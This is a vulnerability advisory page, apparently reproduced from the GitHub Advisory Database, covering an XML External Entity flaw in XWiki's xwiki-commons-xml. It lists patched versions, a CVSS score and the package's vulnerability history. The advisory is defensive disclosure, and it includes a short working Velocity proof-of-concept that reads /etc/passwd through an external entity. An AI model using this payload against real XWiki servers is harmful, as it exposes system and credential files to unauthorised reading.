Arbitrary file access through XML parsing in org.xwiki.commons:xwiki-commons-xml
Impact
It's possible in a script to access any file accessing to the user running XWiki application server with XML External Entity Injection through the XML script service.
For example:
{{velocity}}
#set($xml=$services.get('xml'))
#set($xxe_payload = "<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root[<!ENTITY xxe SYSTEM 'file:///etc/passwd' >]><root><foo>&xxe;</foo></root>")
#set($doc=$xml.parse($xxe_payload))
$xml.serialize($doc)
{{/velocity}}Patches
The problem has been patched on versions 12.10.10, 13.4.4 and 13.8RC1.
Workarounds
There's no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights.
References
https://jira.xwiki.org/browse/XWIKI-18946
For more information
If you have any questions or comments about this advisory:
- Open an issue in Jira XWiki
- Email us at XWiki Security mailing-list
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | org.xwiki.commons:xwiki-commons-xml | >= 2.7, < 12.10.10, >= 13.0.0, < 13.4.4, >= 13.5-rc-1, < 13.8-rc-1 | 12.10.10, 13.4.4, 13.8-rc-1 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N- Weakness (CWE)
CWE-611- Platform
- Java / Kotlin (Maven)
- Package
org.xwiki.commons:xwiki-commons-xml- Disclosed
- 28.04.2022
- Updated
- 11.10.2026 11:21
Sources and licenses
OSV / GitHub Advisory Database - GHSA-m2r5-4w96-qxg5 - CC BY 4.0
Vulnerability history: org.xwiki.commons:xwiki-commons-xml
All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 6
- First → latest
- 04.2022 06.2023
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- Medium 1
Disclosures per year
- 2022: 1
- 2023: 5
- 2024: 0
- 2025: 0
- 2026: 0
-
Arbitrary file access through XML parsing in org.xwiki.commons:xwiki-commons-xml this entry
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